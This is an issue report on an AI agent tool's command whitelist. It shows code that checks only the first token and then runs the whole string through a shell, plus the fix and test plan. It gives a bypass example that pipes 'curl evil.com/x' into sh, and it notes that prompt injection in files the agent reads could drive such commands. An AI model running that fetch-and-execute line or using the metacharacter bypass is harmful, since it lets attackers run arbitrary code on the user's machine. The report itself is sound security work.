security(ai): run_command uses shell=True, whitelist is bypassable via shell metachars #80

Open
opened 2026-04-18 20:23:32 -06:00 by claude-code · 0 comments
Collaborator

Problem

_tool_run_command validates the first whitespace-split token against _COMMAND_WHITELIST, then passes the entire raw command string to sh -c via shell=True.

luminos_lib/ai.py:260-283:

def _tool_run_command(args, target, _cache):
    command = args.get("command", "")
    parts = command.split()
    if not parts:
        return "Error: empty command."
    binary = os.path.basename(parts[0])
    if binary not in _COMMAND_WHITELIST:
        return (...)
    try:
        result = subprocess.run(
            command, shell=True, capture_output=True, text=True,
            timeout=15, cwd=target,
        )

A command like grep foo ./src && curl evil.com/x | sh passes the whitelist (first token is grep) and then shell executes the injected tail.

Why this matters

PLAN.md's Concerns section already flags prompt-injection via read_file as a real risk:

read_file passes raw file contents into the context. A malicious file in the target directory could contain prompt injection attempts.

The whitelist is supposed to be the defense-in-depth bound on what a compromised/confused agent can actually execute. With shell=True, it isn't one.

Fix

Drop shell=True and pass parts as the argv list. Agent prompts that currently pipe (wc -l file | head -5) would need to be re-expressed or handled by the tool (e.g., run the first command, post-process). Most existing whitelist commands (wc -l path, file --brief path, stat path, head -20 path) don't need a shell.

If pipelines are desired, validate each segment against the whitelist before handing to shell, rather than trusting only the first token.

Acceptance

  • _tool_run_command no longer invokes shell=True on an untrusted string
  • An injection payload like grep foo . && echo pwned is rejected or at least fails to execute the echo
  • Prompts in prompts.py updated if they rely on pipelines
  • Test in tests/test_ai_pure.py covers the bypass case
## Problem `_tool_run_command` validates the first whitespace-split token against `_COMMAND_WHITELIST`, then passes the **entire raw command string** to `sh -c` via `shell=True`. `luminos_lib/ai.py:260-283`: ```python def _tool_run_command(args, target, _cache): command = args.get("command", "") parts = command.split() if not parts: return "Error: empty command." binary = os.path.basename(parts[0]) if binary not in _COMMAND_WHITELIST: return (...) try: result = subprocess.run( command, shell=True, capture_output=True, text=True, timeout=15, cwd=target, ) ``` A command like `grep foo ./src && curl evil.com/x | sh` passes the whitelist (first token is `grep`) and then shell executes the injected tail. ## Why this matters PLAN.md's Concerns section already flags prompt-injection via `read_file` as a real risk: > `read_file` passes raw file contents into the context. A malicious file in the target directory could contain prompt injection attempts. The whitelist is supposed to be the defense-in-depth bound on what a compromised/confused agent can actually *execute*. With `shell=True`, it isn't one. ## Fix Drop `shell=True` and pass `parts` as the argv list. Agent prompts that currently pipe (`wc -l file | head -5`) would need to be re-expressed or handled by the tool (e.g., run the first command, post-process). Most existing whitelist commands (`wc -l path`, `file --brief path`, `stat path`, `head -20 path`) don't need a shell. If pipelines are desired, validate each segment against the whitelist before handing to shell, rather than trusting only the first token. ## Acceptance - [ ] `_tool_run_command` no longer invokes `shell=True` on an untrusted string - [ ] An injection payload like `grep foo . && echo pwned` is rejected or at least fails to execute the `echo` - [ ] Prompts in `prompts.py` updated if they rely on pipelines - [ ] Test in `tests/test_ai_pure.py` covers the bypass case
Sign in to join this conversation.
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference: archeious/luminos#80
No description provided.